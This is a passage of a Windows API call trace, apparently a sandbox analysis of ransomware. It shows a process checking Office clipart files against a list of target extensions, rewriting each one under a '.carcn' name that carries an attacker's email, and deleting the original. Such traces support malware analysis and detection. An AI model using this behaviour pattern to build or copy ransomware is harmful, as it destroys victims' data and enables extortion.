(hObject=0x390) returned 1 [0303.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0303.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0303.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0303.811] lstrlenW (lpString=".doc") returned 4 [0303.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.811] lstrlenW (lpString=".docx") returned 5 [0303.811] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0303.812] lstrlenW (lpString=".pdf") returned 4 [0303.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.812] lstrlenW (lpString=".xls") returned 4 [0303.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.812] lstrlenW (lpString=".xlsx") returned 5 [0303.812] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0303.812] lstrlenW (lpString=".ppt") returned 4 [0303.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0303.812] lstrlenW (lpString=".zip") returned 4 [0303.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.812] lstrlenW (lpString=".rar") returned 4 [0303.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.812] lstrlenW (lpString=".bz2") returned 4 [0303.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.812] lstrlenW (lpString=".7z") returned 3 [0303.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0303.812] lstrlenW (lpString=".dbf") returned 4 [0303.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0303.812] lstrlenW (lpString=".1cd") returned 4 [0303.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0303.812] lstrlenW (lpString=".jpg") returned 4 [0303.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.813] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.813] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0303.814] GetLastError () returned 0x0 [0303.814] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x60b7, lpOverlapped=0x0) returned 1 [0303.815] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x60c0, lpOverlapped=0x0) returned 1 [0303.816] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.816] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.816] SetEndOfFile (hFile=0x36c) returned 1 [0303.816] CloseHandle (hObject=0x36c) returned 1 [0303.816] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.816] SetEndOfFile (hFile=0x390) returned 1 [0303.817] CloseHandle (hObject=0x390) returned 1 [0303.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0303.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0303.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0303.818] lstrlenW (lpString=".doc") returned 4 [0303.818] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0303.818] lstrlenW (lpString=".docx") returned 5 [0303.818] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0303.818] lstrlenW (lpString=".pdf") returned 4 [0303.818] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0303.818] lstrlenW (lpString=".xls") returned 4 [0303.818] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0303.818] lstrlenW (lpString=".xlsx") returned 5 [0303.818] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0303.818] lstrlenW (lpString=".ppt") returned 4 [0303.818] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0303.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0303.818] lstrlenW (lpString=".zip") returned 4 [0303.818] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0303.818] lstrlenW (lpString=".rar") returned 4 [0303.818] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0303.818] lstrlenW (lpString=".bz2") returned 4 [0303.818] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0303.818] lstrlenW (lpString=".7z") returned 3 [0303.818] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0303.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0303.818] lstrlenW (lpString=".dbf") returned 4 [0303.819] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0303.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0303.819] lstrlenW (lpString=".1cd") returned 4 [0303.819] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0303.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0303.819] lstrlenW (lpString=".jpg") returned 4 [0303.819] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0303.819] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.819] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0303.820] GetLastError () returned 0x0 [0303.820] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x40d4, lpOverlapped=0x0) returned 1 [0303.821] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x40e0, lpOverlapped=0x0) returned 1 [0303.823] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.823] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.823] SetEndOfFile (hFile=0x36c) returned 1 [0303.823] CloseHandle (hObject=0x36c) returned 1 [0303.823] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.824] SetEndOfFile (hFile=0x390) returned 1 [0303.824] CloseHandle (hObject=0x390) returned 1 [0303.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0303.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0303.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0303.825] lstrlenW (lpString=".doc") returned 4 [0303.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.825] lstrlenW (lpString=".docx") returned 5 [0303.825] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0303.825] lstrlenW (lpString=".pdf") returned 4 [0303.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.825] lstrlenW (lpString=".xls") returned 4 [0303.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.825] lstrlenW (lpString=".xlsx") returned 5 [0303.825] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0303.825] lstrlenW (lpString=".ppt") returned 4 [0303.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0303.825] lstrlenW (lpString=".zip") returned 4 [0303.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.825] lstrlenW (lpString=".rar") returned 4 [0303.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.825] lstrlenW (lpString=".bz2") returned 4 [0303.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.826] lstrlenW (lpString=".7z") returned 3 [0303.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0303.826] lstrlenW (lpString=".dbf") returned 4 [0303.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0303.826] lstrlenW (lpString=".1cd") returned 4 [0303.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0303.826] lstrlenW (lpString=".jpg") returned 4 [0303.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.826] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.826] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0303.827] GetLastError () returned 0x0 [0303.827] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x5f39, lpOverlapped=0x0) returned 1 [0303.828] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x5f40, lpOverlapped=0x0) returned 1 [0303.829] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.829] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.829] SetEndOfFile (hFile=0x36c) returned 1 [0303.829] CloseHandle (hObject=0x36c) returned 1 [0303.829] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.829] SetEndOfFile (hFile=0x390) returned 1 [0303.830] CloseHandle (hObject=0x390) returned 1 [0303.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0304.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0304.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0304.010] lstrlenW (lpString=".doc") returned 4 [0304.010] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0304.010] lstrlenW (lpString=".docx") returned 5 [0304.010] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0304.010] lstrlenW (lpString=".pdf") returned 4 [0304.010] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0304.010] lstrlenW (lpString=".xls") returned 4 [0304.010] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0304.010] lstrlenW (lpString=".xlsx") returned 5 [0304.010] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0304.010] lstrlenW (lpString=".ppt") returned 4 [0304.010] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0304.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0304.011] lstrlenW (lpString=".zip") returned 4 [0304.011] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0304.011] lstrlenW (lpString=".rar") returned 4 [0304.011] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0304.011] lstrlenW (lpString=".bz2") returned 4 [0304.011] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0304.011] lstrlenW (lpString=".7z") returned 3 [0304.011] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0304.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0304.011] lstrlenW (lpString=".dbf") returned 4 [0304.011] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0304.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0304.011] lstrlenW (lpString=".1cd") returned 4 [0304.011] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0304.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0304.011] lstrlenW (lpString=".jpg") returned 4 [0304.011] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0304.011] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.012] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0304.015] GetLastError () returned 0x0 [0304.015] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x65e6, lpOverlapped=0x0) returned 1 [0304.018] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x65f0, lpOverlapped=0x0) returned 1 [0304.020] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0304.020] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0304.020] SetEndOfFile (hFile=0x36c) returned 1 [0304.020] CloseHandle (hObject=0x36c) returned 1 [0304.020] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.020] SetEndOfFile (hFile=0x390) returned 1 [0304.021] CloseHandle (hObject=0x390) returned 1 [0304.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0304.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0304.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0304.023] lstrlenW (lpString=".doc") returned 4 [0304.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0304.023] lstrlenW (lpString=".docx") returned 5 [0304.023] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0304.023] lstrlenW (lpString=".pdf") returned 4 [0304.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0304.023] lstrlenW (lpString=".xls") returned 4 [0304.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0304.023] lstrlenW (lpString=".xlsx") returned 5 [0304.023] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0304.023] lstrlenW (lpString=".ppt") returned 4 [0304.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0304.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0304.023] lstrlenW (lpString=".zip") returned 4 [0304.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0304.024] lstrlenW (lpString=".rar") returned 4 [0304.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0304.024] lstrlenW (lpString=".bz2") returned 4 [0304.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0304.024] lstrlenW (lpString=".7z") returned 3 [0304.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0304.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0304.024] lstrlenW (lpString=".dbf") returned 4 [0304.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0304.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0304.024] lstrlenW (lpString=".1cd") returned 4 [0304.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0304.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0304.024] lstrlenW (lpString=".jpg") returned 4 [0304.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0304.024] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.024] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0304.025] GetLastError () returned 0x0 [0304.025] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2dae, lpOverlapped=0x0) returned 1 [0304.066] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2db0, lpOverlapped=0x0) returned 1 [0304.069] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0304.069] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0304.069] SetEndOfFile (hFile=0x36c) returned 1 [0304.070] CloseHandle (hObject=0x36c) returned 1 [0304.070] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.070] SetEndOfFile (hFile=0x390) returned 1 [0304.071] CloseHandle (hObject=0x390) returned 1 [0304.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0304.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0304.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0304.072] lstrlenW (lpString=".doc") returned 4 [0304.072] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0304.072] lstrlenW (lpString=".docx") returned 5 [0304.072] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0304.072] lstrlenW (lpString=".pdf") returned 4 [0304.072] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0304.072] lstrlenW (lpString=".xls") returned 4 [0304.072] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0304.072] lstrlenW (lpString=".xlsx") returned 5 [0304.072] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0304.072] lstrlenW (lpString=".ppt") returned 4 [0304.072] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0304.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0304.072] lstrlenW (lpString=".zip") returned 4 [0304.072] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0304.072] lstrlenW (lpString=".rar") returned 4 [0304.072] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0304.073] lstrlenW (lpString=".bz2") returned 4 [0304.073] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0304.073] lstrlenW (lpString=".7z") returned 3 [0304.073] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0304.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0304.073] lstrlenW 